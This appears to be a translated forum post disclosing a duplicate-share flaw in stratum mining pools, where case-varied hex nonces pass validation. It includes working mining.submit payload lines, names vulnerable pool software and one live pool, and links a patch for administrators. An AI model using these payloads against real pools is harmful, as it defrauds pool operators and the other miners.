I think it would be useful to write everywhere, you never know: find a vulnerability that is present in most public stratum pools.
In the original code validation was done by comparing encoded in hex strings, not the actual values ntime and nonce. As a result, the miner can duplicate correct ball by replacing the register, send to the pool and he made them all count.
Code:
{"id":102,"method":"mining.submit","params":["eobot.41355", "19", "5e490000", "552ce06a", "c0ad31ee"]}
{"id":103,"method":"mining.submit","params":["eobot.41355", "19", "5e440000", "552ce06e", "3b39f0a2"]}
{"id":102,"method":"mining.submit","params":["eobot.41355", "19", "5e490000", "552ce06a", "c0ad31eE"]}
{"id":103,"method":"mining.submit","params":["eobot.41355", "19", "5e440000", "552ce06e", "3b39f0a2"]}
{"id":102,"method":"mining.submit","params":["eobot.41355", "19", "5e490000", "552ce06a", "c0ad31Ee"]}
{"id":103,"method":"mining.submit","params":["eobot.41355", "19", "5e440000", "552ce06e", "3b39f0a2"]}
{"id":102,"method":"mining.submit","params":["eobot.41355", "19", "5e490000", "552ce06a", "c0ad31EE"]}
{"id":103,"method":"mining.submit","params":["eobot.41355", "19", "5e440000", "552ce06e", "3b39f0a2"]}
{"id":102,"method":"mining.submit","params":["eobot.41355", "19", "5e490000", "552ce06a", "c0aD31ee"]}
{"id":103,"method":"mining.submit","params":["eobot.41355", "19", "5e440000", "552ce06e", "3b39f0a2"]}
The above variations couples the ball, which did not require much effort. And they were all counted.
The most simple patch should look something like this:
https://github.com/novacoin-project/stratum-mining/commit/3a1636517a82ec9b939c7ca80451891467fc9315As I understand it, many based on node stratum, eloipool and stratum-mining pools will be vulnerable. BtcGuild invulnerable, but Ghash.io eats balls left with great joy.
Administrators pools are strongly encouraged to pay attention, because some small BTC and LTC pools already seen attacks using this hole. Khore was patched today.
